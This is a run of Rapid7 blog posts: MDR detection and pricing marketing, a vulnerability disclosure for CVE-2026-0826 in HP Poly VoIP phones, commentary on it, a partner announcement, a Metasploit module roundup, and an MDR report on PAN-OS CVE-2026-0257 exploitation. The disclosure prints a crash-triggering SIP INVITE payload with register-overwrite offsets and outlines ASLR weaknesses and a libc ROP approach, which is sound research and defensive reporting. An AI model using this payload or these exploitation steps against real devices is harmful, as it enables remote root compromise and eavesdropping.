There are lots of activities the attacker can implement to achieve this without alerting any agents.. But, what if we have some log sources monitoring active directory, firewall/VPN access, and even a network-based sensor monitoring traffic going in and out of the firewall? It means we can gain additional visibility, capturing this malicious activity before it escalates.

Other methods of initial access – like phishing – can also be captured through adding log sources for email solutions and any other email-related activities. An example could be changing email inbox rules so that an unsuspecting user can't see all the replies to the emails the attacker is sending from their mailbox.

What are the “holes” of the cheese slice?

Not every log source is able to capture every malicious activity from an attacker, which is why we need multiple layers. The holes can be for a few reasons - visibility gaps in the log source e.g. if you only have your EDR installed on 90% of the assets that can have it installed there is a clear hole. There are also detection rule shortfalls - either a rule does not exist to alert on that activity when it occurs or perhaps the log source is limited in how it records the behavior which makes creating a detection not possible.

This the whole foundational principle of Swiss cheese theory, that we should expect an attacker to be able to circumvent a single layer

How do we know what log sources and detections we need?

For each type of asset in your environment, it's a great idea to draw up a Threat Model. For the purposes of this blog, the below model is fairly high level. An organization-specific threat model should go more in depth, but hopefully you can get the general idea.

• Group types of assets together where it makes sense. For instance:
• Windows and Mac work stations
• Billing servers
• CRM
• Network equipment and firewalls
• Domain controllers

• Think about how an attacker might attempt to use these assets either to monetize the environment (i.e. ransomware) or as a stepping stone to a more critical asset.

• Think about the log sources that would contribute towards highlighting attacker activity on those assets. For instance:

• Windows and Mac workstations

• EDR agent

• Email logs

• VPN/firewall authentication logs

• Single sign on (SSO) logs

• Domain controller

• Lightweight directory access protocol (LDAP) and Active Directory logs

• EDR agent

• Network sensor

As I stated, this is high-level and not exhaustive, but the idea is to think of the attacker’s actions and all of the potential log sources that could detect those actions in order to ensure you’re able to capture this activity.

Of course, this model might come under scrutiny when looking at the costs of ingesting and storing log data. Organizations then have to balance the cost of technical detections with the value they provide. In real terms, if you must choose three out of five log sources because that's what you can afford, you should pick the three most valuable to your business.

The value should come from a combination of the number of detections they drive and the quality of those detections. For example, one log source might drive 1,000 detection types, but the detections themselves have a high benign positive ratio (say 29 in 30 are benign) on 80% of the detections, whilst another log source might drive 500 detections but have a much lower benign positive ratio of 1 in 10. This forces detection engineers to create the most optimal log-and-detection rule sets in order to optimize the cost of the SIEM.

Cheese with a complex flavor is nice, overly complex MDR pricing is not

All those calculations above sound complex, right? Much of that complexity can be made simpler with an asset-based pricing model, such as the one used by Rapid7.

The price is fixed on the number of servers and workstations, and customers can connect any number of log sources. This means when you’re modeling threats and detection of those threats, there are no cost constraints to consider for onboarding additional log sources, which would improve detection fidelity.

With that in mind, here’s a few questions I would suggest customers ask themselves to establish which solution is the right one for them:

Size: How big are you in terms of employees or number of assets?

A 5,000 employee business with a 20 person Security team is more likely to need a SIEM with unlimited ingestion than a 20 person business with one combined IT/security person.

Assets and tech stack: What types of assets are being protected and what technologies are in use?

This helps dictate whether an EDR with a few extra log sources is more suitable as the backbone of an MDR service versus One that incorporates a wide variety of telemetry sources.

Whilst the lines aren’t clear cut, these can be general areas to investigate and better understand. Other factors that also come into play are things like the type of threat actors that might target your organization. Here is an example of what it could look like worked into a threat model I spoke about.

Comparing solutions

Attempting to compare asset-based and ingestion-based solutions can be tricky. If you try to constrain to a consistent set of log sources for the two solution types, you could be depriving your organization of the main benefit of an asset-based pricing structure: the ability to bring more log sources and detections – and therefore additional layers of protection – for the same cost. This would, of course, give you a lower cost-per-detection. Let’s take a look at some ideas that might help:

Look at cost-per-detection when fixing a cost limit.

• For example, you take the asset-based structure and solution cost, and configure an equivalent cost on an ingestion-based solution. You then look at how many log sources and detections that gets you, then calculate the cost-per-active-detection. It’s also best to model this on your own or potential customers' environments.

Evaluate quality of detections within the model environment using the cost model constraint.

• Running the same offensive exercises in the same environment is a fair test to run, so in this instance you should set up all the log sources for each model up to your cost constraint. Keep in mind you will likely have more log sources for an asset-based model. This is still a fair test, as our key comparison metric is total cost of the solution regardless of how that solution detects the attacker.

Detection noise under normal conditions.

• This is an indication of the quality of the detection rules under normal conditions. It's great to detect attackers in an isolated environment, but in a production network with users working, it may also introduce many benign or false positives that the same detection rules will alert on. You want your detection rules to only alert on real attacker activity.

Give detection rules a score:

• Did they detect the attack correctly?
• Do they alert on normal user activity?
• If so, how often within a 30-day window?

⠀

Whilst there are no absolutes, there are some good rules that can help you on the path to choosing an MDR provider that works best with and for your organization. Focusing on the assets and technologies that you want to protect, and looking at log sources and detections that support that is a great place to start.

The higher the importance and complexity of the asset, the more layers you ideally want, and having the table above to clearly define your quality metrics will help you consider whether a solution is the right fit for you in terms of technology, service, and economics.

At the Rapid7 2026 Global Cybersecurity Summit, the signature session Inside the Modern SOC: Who Carries You Through an Incident takes a different approach. Rather than focusing on tools or dashboards, it follows a real-world incident from the perspective of the people responsible for investigating and containing it.

The session walks through how modern MDR teams operate under pressure, drawing on real experience across cloud, identity, and on-prem environments. Led by Karl Lankford, Senior Director, Sales Engineering, Rapid7, the discussion brings in perspectives from across the SOC, including incident response and detection, to show how teams work together when it matters most.

Structured around a full incident lifecycle, the walkthrough begins with the initial signal and moves through triage and investigation, following the decisions that shape the outcome. The focus is not on theory but on how incidents are handled in practice, from background and context through to the final result.

What stands out is how much of the process depends on judgment. Alerts are only the starting point. From there, analysts are working to understand context, assess risk, and decide what matters most in the moment. This includes identifying compromised identities, understanding how attackers move across environments, and coordinating response across multiple systems.

The session also highlights how quickly these decisions need to be made. As shown in the high-level timeline, attackers can move from initial access to broader compromise across cloud and on-prem systems in a matter of minutes, which leaves little room for hesitation or uncertainty.

Throughout the walkthrough, the focus stays on what carries organizations through an incident. Detection plays a role, but outcomes are shaped by coordination, tradeoffs, and the ability to act with clarity under pressure. The session also explores how visibility across environments, combined with human-led response, helps teams connect signals and act before impact occurs.

For practitioners, SOC leaders, and teams evaluating MDR, this session offers a grounded view of how modern incident response works under real conditions. It shows what happens between the alert and the outcome, and why that gap is where the real value lies. Watch the full session to follow the investigation step by step and see how MDR teams carry organizations through real incidents.

Rapid7 Labs conducted a zero-day research project against an HP Poly VVX 450 Voice over Internet Protocol (VoIP) phone. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-0826. A remote attacker can leverage CVE-2026-0826 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device. 

The vulnerability is present in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment (ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a remote attacker. 

While we discovered and validated the vulnerability on a VVX 450 device, the vulnerability has been confirmed to affect all models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP Conference series (Trio 8800, Trio 8500, and Trio 8300).

CVE-2026-0826 has a CVSSv4 score of 9.2 (Critical), and a Common Weakness Enumeration (CWE) of CWE-121: Stack-based Buffer Overflow.

Impact

A Metasploit exploit module has been developed to demonstrate how an unauthenticated attacker could leverage this vulnerability to gain root privileges on a vulnerable device.

Shown below is the exploit being run against a target Poly VVX 450 device running a vulnerable firmware version 6.4.7.4477.

⠀

As we can see above, the attacker achieves unauthenticated RCE with root privileges on the device. This is demonstrated by the attacker executing a reverse shell payload and running several arbitrary OS shell commands.

Technical analysis

Our analysis is based upon a VVX 450 device running firmware version 6.4.7.4477. During testing, the test device had an IPv4 address of 192.168.86.80. The non-default ICE feature was enabled by specifying the following in the device configuration:

device.feature.nat.ice.enabled="1"

The main binary that provides the majority of functionality to the device is /user/local/root/polyapp (32 bit ARM, Little Endian). This binary parses SDP data provided in an Session Initiation Protocol (SIP) request over UDP on port 5060.

When SDP data is processed, if ICE is enabled, an SDP attribute named candidate can be parsed. The candidate attribute is intended to contain a transport address for a candidate that can be used for connectivity checks. An example of a valid candidate attribute can be seen in the RFC8839 5.1:

The following is an example SDP line for a UDP server-reflexive "candidate" attribute for the RTP component:

a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998

Using the example from the RFC, a SIP request can contain SDP data that looks like this, with the candidate attribute appearing on the final line:

c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998

⠀

The /user/local/root/polyapp binary has two functions that will parse incoming SDP data, named ParseRemoteSDP and IceSession::ParseRemoteSdpForAddresses. In both cases, when a string line starting with “a=candidate:”  is found, a helper function ParseICECandidate (at address 0xB12780) is called to parse the expected candidate attribute held in the remainder of that string line. The intent is to parse out the individual components of a candidate attribute which are separated by white space characters.

This helper function ParseICECandidate contains a stack based buffer overflow. Shown below we can see that the start of the function contains a call to memcpy, which will copy the incoming string line being processed into a 256 byte stack buffer. No length check is performed to ensure the incoming string length is less than 256 bytes. Therefore by providing a candidate attribute whose length is greater than 256 bytes, a stack-based buffer overflow will occur.

int __fastcall ParseICECandidate( const void *string_line, size_t string_line_length, int a3, int *a4, _DWORD *a5, int *a6, std::string *a7, _DWORD *a8, _DWORD *a9, std::string *a10, _DWORD *a11)
{
	size_t v11; // r0
	char *v12; // r0
	size_t v13; // r0
	char *v14; // r0
	size_t v15; // r0
	char buffer256[256]; // [sp+25h] [bp-11Fh] BYREF
	char v22[7]; // [sp+128h] [bp-1Ch] BYREF
	char v23; // [sp+12Fh] [bp-15h] BYREF
	char *nptr; // [sp+130h] [bp-14h]
	char v25; // [sp+137h] [bp-Dh]

	v25 = 0;
	if ( !string_line )
		return 0;
	memcpy(buffer256, string_line, string_line_length); // <--- buffer256 can be overflowed due to no destination length check
	buffer256[string_line_length] = 0;
	nptr = strtok_r(buffer256, ":", (char **)&buffer256[255]);
	nptr = strtok_r(0, " ", (char **)&buffer256[255]);
	if ( !nptr )
		return 0;

// ...snip...

⠀

To demonstrate the vulnerability, we can construct an example SIP INVITE request that contains the required SDP data to trigger the buffer overflow. The malicious candidate attribute will be comprised of:

• An attribute name of “a=candidate:”, which is 12 bytes long.

• 244 A characters, to fill out variable buffer256 (shown in the code snippet above), as 244 + 12 is 256.

• 19 B characters, to provide padding between the variable buffer256 and the saved registers on the current stack frame.

• The characters 1111 (0x31313131 in hex) to overwrite the saved r4 register.

• The characters 2222 (0x32323232 in hex) to overwrite the saved r5 register.

• The characters 3333 (0x33333333 in hex) to overwrite the saved r11 register.

• The characters 4444 (0x34343434 in hex) to overwrite the saved pc register.

• A large number of C characters (0x43 in hex) to show the remaining attacker controlled data on the stack.

The entire example SIP INVITE request sent to the device is shown below:

INVITE sip:192.168.86.80:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.86.122:5060
Route: <sip:192.168.86.122:5060;lr>
From: <sip:192.168.86.80:5060>
To: <sip:192.168.86.80:5060>
Contact: <sip:192.168.86.80>
Call-ID: pmpcdwrwqojvfqin
CSeq: 5892 INVITE
Content-Type: application/sdp
Content-Length: 495

c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBB1111222233334444CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

⠀

Upon receiving this SIP INVITE request, the helper function ParseICECandidate will parse the malicious candidate attribute, and a stack-based buffer overflow will occur. Observing the resulting crash in GDB, we can see that we have full control over the program counter (pc) register, several general purpose registers, and the data located at the stack pointer (sp).

Exploitation

Leveraging the overflow to execute arbitrary attacker controlled code is relatively straight forward. We can first note that Address Space Layout Randomization (ASLR) is present on the target, as shown below by inspecting /proc/sys/kernel/randomize_va_space in a root shell.

# uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown

# cat /proc/sys/kernel/randomize_va_space
1

⠀

Inspecting the polyapp binary with the checksec tool we can see that No Execute (NX) is enabled, so the stack data will not be executable. As we will not be able to execute a payload directly on the stack, we can overcome this by using a Return Oriented Programming (ROP) chain to bypass the NX mitigation. Additionally, the binary has not been compiled as a Position Independent Executable (PIE).

$ /usr/bin/checksec --file=rootfs/root/polyapp --format=json | jq
{
	"rootfs/root/polyapp": {
		"relro": "no",
		"canary": "no",
		"nx": "yes",
		"pie": "no",
		"rpath": "no",
		"runpath": "no",
		"symbols": "no",
		"fortify_source": "no",
		"fortified": "0",
		"fortify-able": "33"
	}
}

⠀

As the polyapp binary is always loaded at a low address (0x00008000), using Virtual Address (VA) values from this range will require the attacker to be able to place multiple null (0x00) bytes in the overflow buffer. This will not be possible due to how the SDP data is processed. 

We must discover a suitable workaround to exploit the vulnerability while not writing any null bytes in the overflow buffer. We could try to discover an information leak vulnerability, that leaks an address of a Shared Object (SO) location within the processes address space. If the SO is loaded at a location such that its addresses will not contain null bytes, we can use these addresses for ROP gadgets. In lieu of a suitable information leak vulnerability, we will require an alternative technique.

Conveniently to our purpose, ASLR is not operating as expected on the device, and does not impact the load address of Shared Object (SO) libraries. For example, libc will always be loaded at a Virtual Address (VA) of 0x40a5c000 on firmware version 6.4.7.4477. This does not change between process restarts or device cold reboots. Shown below is the same load address for libc in the polyapp process, across a cold reboot of the device.

# date
Fri Dec 12 15:05:56 UTC 2025
# ps -A|grep polyapp
 1461 root569m S/usr/local/root/polyapp 
# cat /proc/1461/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581/lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581/lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581/lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581/lib/libc-2.8.so

# date
Fri Dec 12 15:14:12 UTC 2025
# ps -A|grep polyapp
 1482 root      569m S    /usr/local/root/polyapp 
# cat /proc/1482/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581        /lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581        /lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581        /lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581        /lib/libc-2.8.so

⠀

Further inspection of the process maps file shows all shared libraries are loaded starting from a fixed address of 0x40000000 and do not appear to honor ASLR. Knowing this, we can build a simple ROP chain using gadgets located at fixed VA’s within the libc library. The gadgets we choose will not contain null bytes in their addresses.

We create a ROP chain that will execute an arbitrary OS command via the system standard C library function. The accompanying Metasploit exploit modules source code details the entire ROP chain.

Remediation

The following remediation guidance has been provided by the vendor.

“HP Poly recommends that administrators disable ICE connectivity in environments where it is not required. All affected Poly Voice devices should be updated to the latest available UCS release using the Poly Lens Device Management application.”

The following table indicates the appropriate fixed software releases.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Rapid7 Customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0826 with a vulnerability check available in the June 2 content release. 

Disclosure timeline

• January 6, 2026: Rapid7 makes initial outreach to HP who confirm contact the same day.

• January 7, 2026: Rapid7 discloses the technical writeup and exploit code to HP.

• January 9, 2026: HP confirms the finding, and provides Rapid7 with affected models, a reserved CVE identifier and an expected fix date for May, 2026.

• January 12, 2026: Rapid7 agrees to the fix date and asks for clarity on the end of support for the VVX series. HP replies the same day with requested information.

• April; 21, 2026: HP states a new release date by end of July and confirms CVSS, CWE and remediation guidance. Rapid7 gives June 1 as the disclosure date.

• May 5, 2026: HP provides affected models and confirms coordinate disclosure for June 1.

• May 18, 2026: HP provides remediation version numbers for patched firmware.

• June 1, 2026: This disclosure.

• June 2, 2026: Added Rapid7 Customers section to indicate availability of a vulnerability check, added link to vendor advisory.

That’s part of what makes enterprise voice infrastructure so interesting.

Earlier this year, we wrote about a critical vulnerability in Grandstream VoIP phones that showed how easily a trusted communications device could become something very different. It wasn't especially flashy, but it reinforced the broader issue that phones are still part of the attack surface, even if many organizations don’t model them that way.

Today, we'll again discuss the same uncomfortable reality. VoIP technology may sit quietly on a desk and look like a utility, but the security implications are anything but quiet. And when familiar vulnerability classes continue to surface in devices designed to sit at the center of sensitive conversations, it’s worth asking whether we’ve been underestimating this part of the environment for far too long.

Rapid7 Senior Principal Security Researcher Stephen Fewer discovered CVE-2026-0826, a critical unauthenticated stack-based buffer overflow vulnerability affecting multiple HP Poly VoIP devices. If you’ve been around vulnerability research long enough, the bug class here is going to feel very familiar. And interestingly enough, that’s exactly why it deserves attention. These older exploitation primitives never really went away; they just found new places to cause problems.

CVE-2026-0826

CVE-2026-0826 is a critical unauthenticated vulnerability affecting multiple HP Poly VoIP devices, including models in the VVX and Trio product lines. At a high level, this is a classic memory corruption bug. If the right conditions are present, a remote attacker can exploit the vulnerability to gain control of an affected device without authentication.

For most organizations, the technical root cause will matter to the teams responsible for remediation, validation, and long-term hardening. But from a risk perspective, the takeaway is much simpler in that a trusted business phone can potentially be turned into an attacker-controlled asset.

That matters because these devices often live in places we inherently trust such as executive offices, conference rooms, help desks, trading floors, hospital stations, and other environments where sensitive conversations happen every day. A compromise in that context is not just about device access. It’s about what that access enables.

Why this is still exploitable in 2026

One of the questions I get all the time when I teach SANS SEC660 is whether basic buffer overflows are still relevant. Students will usually ask some version of, “Are we really still dealing with this?” and right behind that, the follow-up of “Don’t modern mitigations make these bugs much harder to exploit?”

They're fair questions. The reality is that modern mitigations absolutely matter, and in many cases they do make exploitation more difficult. But they don’t make memory corruption go away. What they really do is change the path from bug to impact. So when we looked at this issue, the obvious question wasn’t just whether a stack overflow existed, but whether the protections in place actually prevented it from becoming meaningful code execution.

In this case, they didn’t.

This is one of those cases where the presence of modern mitigations looks better on paper than it does in practice. The protections that should have made exploitation significantly harder ultimately didn’t stop an attacker from turning the bug into full code execution on the device.

So yes, the bug class is old-school. But the exploitation path is still very real.

Why attackers care about desk phones now

Now, on its own, “root shell on a phone” sounds bad, but maybe not headline-worthy to some people. The real story is what that access gives an attacker in practice.

Over the past several years, advanced threat actors have increasingly shifted toward edge devices, embedded systems, and network appliances as a place to operate. And let’s face it, that makes sense. If you’re trying to persist quietly in an enterprise environment, you don’t necessarily want to live on the Windows system with every security product on earth installed on it.

You want the thing nobody is watching.

You generally can’t run modern EDR on a VoIP desk phone. You’re not going to see the same telemetry. You’re not going to get the same host-based detection coverage. And in many environments, those devices sit on the network for years with very little scrutiny beyond whether they can still make and receive calls.

That makes them useful not only as footholds, but also as infrastructure for internal pivoting, call manipulation, traffic interception, or quiet persistence.

And that’s before we even get to the part that I think is especially relevant right now in the age of AI. I'm referring to audio collection.

A listening post for the AI era

One of the more interesting shifts in today’s threat landscape is how valuable high-quality voice data has become.

Attackers no longer need massive datasets to make use of synthetic speech tooling. In many cases, they just need clean source audio of the right person saying enough words in enough contexts. That has made executive voice data, call recordings, and live conversation capture far more valuable than many organizations seem prepared to admit.

A compromised desk phone sitting in an executive office or conference room is not just a way to eavesdrop on sensitive discussions. It can also become a collection point for exactly the kind of audio that can be reused in vishing, deep fakes, social engineering, or even fraudulent financial authorization attempts.

The concern is not just “someone might hear something confidential.” That would be bad enough. The broader concern is that voice infrastructure can now support both traditional espionage objectives and modern AI-enabled fraud operations at the same time.

The bigger lesson

I think the real takeaway from this research is not merely that another VoIP phone had a memory corruption bug. As security researchers, we know those bugs are always out there somewhere. The more important lesson is that many organizations still don’t threat model voice systems with the same seriousness they apply to other enterprise assets.

It’s also part of a broader pattern I’ve been talking about in The Monday Brief that attackers don’t need especially novel tradecraft when defenders continue to overlook familiar weaknesses in trusted systems. 

We’ve gotten pretty good at thinking critically about identity systems, servers, cloud infrastructure, and endpoints. But desk phones often fall into this weird blind spot where they’re treated as appliances rather than computers with microphones, network connectivity, and administrative logic.

That mindset needs to change.

Because when a classic stack-based overflow can be leveraged into root access on a trusted office device sitting a few feet away from your leadership team, it’s no longer reasonable to think of that phone as “just a phone.”

It’s part of your attack surface. It’s part of your exposure. And depending on where it sits, it may also be one of the more efficient listening posts in your environment.

Because yes, the phones are still listening.

The cybersecurity landscape across the Nordics is evolving rapidly. Organizations are facing increasing pressure to modernize security operations, reduce complexity, and respond faster to threats, all while navigating growing regulatory demands and persistent skills shortages.

At the same time, partners are being asked to do more than ever before. Customers no longer want isolated technologies or transactional relationships. They want trusted advisors, integrated solutions, and measurable security outcomes.

That’s why Rapid7 is excited to announce a new strategic partnership with Exclusive Networks across the Nordic region.

Expanding beyond a traditional distributor agreement,  this collaborative growth framework is designed to help partners scale faster, deepen cybersecurity expertise, and deliver greater value to customers across Sweden, Denmark, Norway, Finland, Iceland, and the Baltics.

A shared vision for growth

The modern channel ecosystem is built on collaboration. That means success today depends on bringing together the right technology, expertise, and enablement model to support customers at every stage of their cybersecurity journey. Rapid7 and Exclusive Networks share that philosophy.

Exclusive Networks has built a strong reputation as a cybersecurity-focused specialist with extensive regional reach, deep local expertise, and a partner-first approach. Together, Rapid7 and Exclusive Networks are creating a framework that prioritizes long-term ecosystem growth over short-term transactions.

“This partnership is about creating long-term value for partners and customers alike,” said Mike Ryan, Head of Distribution, EMEA at Rapid7. “The Nordic market is a highly advanced, partner-driven region and increasingly focused on outcome-based cybersecurity. Exclusive Networks’ cybersecurity specialization and regional expertise make them an ideal strategic partner as we continue investing in growth across the region.”

Supporting the next generation of security operations

Cybersecurity teams are increasingly seeking platforms and services that unify visibility, simplify operations, and enhance response capabilities without adding complexity.

Rapid7’s AI-powered cybersecurity operations platform helps organizations strengthen cyber resilience through integrated exposure management, threat detection, and managed services capabilities. Combined with Exclusive Networks’ regional enablement and go-to-market scale, the partnership is designed to accelerate adoption of modern security operations across the Nordics.

Local expertise meets global scale

One of the defining strengths of the Nordics market is its combination of innovation maturity and local market nuance – customers expect both global capability and localized expertise. ThIS balance is central to the Rapid7 and Exclusive Networks approach.

Exclusive Networks operates a global-local model that combines international scale with in-country support, language capabilities, and regional cybersecurity specialization. This enables partners and customers across the Nordics to access consistent cybersecurity expertise while benefiting from local engagement and market understanding.

“Organizations across the Nordics are demanding security solutions that are open, scalable, and capable of delivering measurable operational outcomes,” said Rob Tomlin, Vice President Northern Europe at Exclusive Networks. “By combining Rapid7’s innovation in exposure management and managed detection and response with Exclusive Networks’ local market expertise and channel-first execution model, we can help partners grow faster while delivering stronger security outcomes for customers.”

Building momentum together

Strong partnerships are not defined by the number of deals completed. They’re defined by shared goals, transparency, enablement, and trust. That’s the foundation Rapid7 and Exclusive Networks are building together across the Nordics.

As the cybersecurity landscape continues to evolve, both Rapid7 and Exclusive Networks remain committed to helping partners and customers navigate complexity with confidence, accelerate innovation, and strengthen resilience for the future.

Find out more at Rapid7’s PACT Partner Program page.

Hark the age of the Linux LPE has arrived. This week’s release follows up on recent work bringing new Linux LPEs to Metasploit users. Copy Fail seemed to have kicked off a trend of similar bugs and hot on its heels is Dirty Frag. Dirty Frag is actually two vulnerabilities in a trenchcoat, individually identified as CVE-2026-43284 and CVE-2026-43500. Each is exploitable individually and comes with a new Metasploit module.

New module content (5)

Citrix ADC (NetScaler) CVE-2026-3055 Scanner

Authors: sfewer-r7 and watchTowr

Type: Auxiliary

Pull request: #21204 contributed by sfewer-r7

Path: scanner/http/citrix_netscaler_cve_2026_3055

AttackerKB reference: CVE-2026-3055

Description: Adds auxiliary module targeting CVE-2026-3055, an info leak in Citrix NetScaler (when configured as an SAML IdP). Similar to the other CitrixBleed vulns, we can leak memory and potentially discover session cookies.

Ollama Scanner

Author: h00die

Type: Auxiliary

Pull request: #21271 contributed by h00die

Path: scanner/http/ollama_info

Description: Adds an ollama LLM auxiliary scanner module to enumerate which LLMs are installed and details about them.

xfrm-ESP Page-Cache Write via CVE-2026-43284

Authors: Giovanni Heward and Hyunwoo Kim

Type: Exploit

Pull request: #21434 contributed by offsecguy

Path: linux/local/cve_2026_43284_dirty_frag

AttackerKB reference: CVE-2026-43284

Description: Adds two new local privilege escalation modules for the "DirtyFrag" Linux kernel vulnerabilities. The first targets CVE-2026-43284, a page-cache write vulnerability in the xfrm/ESP fragmentation path. The second targets CVE-2026-43500, a page-cache corruption vulnerability in the RxRPC/rxkad subsystem.

Dompdf RCE via Malicious Font Caching (CVE-2022-28368)

Authors: Adithya Pawar, Fabian Bräunlein, Maximilian Kirchmeier, msutovsky-r7, and rvizx

Type: Exploit

Pull request: #21155 contributed by Adithyadspawar

Path: multi/http/dompdf_rce_cve_2022_28368

AttackerKB reference: CVE-2022-28368

Description: Adds a new exploit module for CVE-2022-28368, an unauthenticated remote code execution vulnerability in dompdf prior to 1.2.1. When remote resource loading is enabled, dompdf preserves the .php extension when caching fonts fetched via CSS @font-face rules, allowing an attacker to drop a PHP webshell in the font cache directory and trigger it with a follow-up request.

Supsystic Contact Form Wordpress Plugin SSTI RCE

Authors: Azril Fathoni and bootstrapbool bootstrapbool@gmail.com

Type: Exploit

Pull request: #21267 contributed by bootstrapbool

Path: multi/http/wp_plugin_supsystic_contact_form_rce

AttackerKB reference: CVE-2026-4257

Description: This adds a module to exploit CVE-2026-4257 resulting in remote code execution on Wordpress sites with the Contact Form by Supsystic plugin. Contact Form plugin versions 1.7.36 and before are vulnerable.

Bugs fixed (4)

• #21390 from zeroSteiner - This refines our smb_to_ldap relay attack reporting by demoting anonymous authentication messages from print_good to print_status, reflecting that anonymous sessions do not grant additional privileges. It also skips the #on_relay_success callback for these sessions to prevent modules from needlessly acting on unprivileged access.
• #21443 from jheysel-r7 - This bumps the Metasploit-credentials gem to address an issue in how Kerberos hashes were being handled.
• #21485 from adfoster-r7 - Fixes MCP server test failure.
• #21487 from adfoster-r7 - Updates to a newer version of RubyZip to support Zip files larger than 4GB.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.134...6.4.135
• Full diff 6.4.134...6.4.135

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

On May 13, 2026, Palo Alto Networks published a security advisory for CVE-2026-0257, a medium severity authentication bypass affecting PAN-OS and Prisma Access when a specific configuration is present. Successful exploitation of this vulnerability allows a remote unauthenticated attacker to successfully establish a VPN connection through the GlobalProtect gateway of an affected appliance.

Rapid7 MDR identified successful exploitation across numerous customers, however we did not observe any indication of successful lateral movement from the devices. The earliest date for observed exploitation was May 17, 2026.  As of May 29, 2026,  this vulnerability has been added to the CISA KEV.

The CVE was originally assigned a CVSSv4 score of 4.7, medium severity. Due to the circumstances surrounding this vulnerability Rapid7 urges that organizations treat this as a critical vulnerability. An authentication bypass in an edge facing enterprise VPN appliance can have significant impact to affected organizations. As such, organizations running affected appliances are urged to upgrade to a vendor supplied patch on an urgent basis.

Note that, as of May 29, Palo Alto Networks updated their security advisory to reflect a change in the CVSS score. The CVSSv4 score was changed from 4.7 to 7.8, with high severity to inform their customers to patch with the highest urgency. 

Observed Attacker Behavior

On 2026-05-18 01:51:37 UTC, Rapid7 MDR responded to a 'Suspicious VPN Authentication - Local Account Logon via Generic Non-Human Identity' alert. During the initial investigation, Rapid7 observed a suspicious cookie authentication to the local admin account across multiple customer environments from the same hosting provider, Vultr.

<14>May 18 01:51:37 palovpn-01 1,2026/05/18 01:51:37,010101010101,GLOBALPROTECT,0,2817,2026/05/18 01:51:37,vsys1,gateway-auth,login,Cookie,,admin,US,GP-CLIENT,104.207.144.154,0.0.0,0.0.0.0,0.0.0.0,aa:bb:cc:dd:ee:ff,,6.0.0,,Linux,"linux-64",1,,,"Auth latency: 78ms, profile: local_auth_profile",success,,0,,0,GP-Gateway,0101010101010101010,0x0,2026-05-18T01:51:37.264-05:00,,,,,,0,0,0,0,,palovpn-01,1,",

GlobalProtect Authentication Log

Rapid7 MDR analyzed the Palo Alto tech support files across the impacted customers and observed that Cloud Authentication Service (CAS) was disabled and the GlobalProtect portal or gateway had authentication override cookies enabled. Based on these findings, MDR analysts concluded that this was likely exploitation of CVE-2026-0257. Subsequent analysis by Rapid7 Labs confirmed this was accurate by validating a successful proof-of-concept.

Rapid7 MDR observed a second wave of exploitation on May 21st. Due to the consistent MAC address, Rapid7 believes both waves of exploitation are likely from the same threat actor (TA). However, the second wave of compromises originated from the hosting provider, Dromatics Systems. In this wave of exploitation, Rapid7 observed VPN IP assignment following the cookie authentication, granting them access to the internal network. Rapid7 observed POST requests to /ssl-vpn/hipreport.esp and /ssl-vpn/getconfig.esp in the cases where a VPN tunnel was successfully established. The first submits security profile information and the second to establish the secure tunnel. Across multiple customers, Rapid7 observed successful exploitation via authentication probes using forged cookies, but the appliance accepted the cookie without a full VPN session being established in 8 out of 10 impacted MDR customers.

<14>May 21 01:54:39 FW-PA-A 1,2026/05/21 01:54:38,010101010101,GLOBALPROTECT,0,2818,2026/05/21 01:54:38,vsys1,gateway-auth,login,Cookie,,admin,US,DESKTOP-GP01,146.19.216.125,0.0.0.0,0.0.0.0,0.0.0.0,aa:bb:cc:dd:ee:ff,,6.0.0,Windows,"Microsoft Windows 10 Pro , 64-bit",1,,,"Auth latency: 1019ms, profile: SAML-o365-GP",success,,0,,0,GlobalProtect_External_Gateway,0101010101010101010 ,0x8000000000000000,2026-05-21T01:54:39.142-05:00,,,,,,30,241,35,0,,FW-PA-A,1,,",

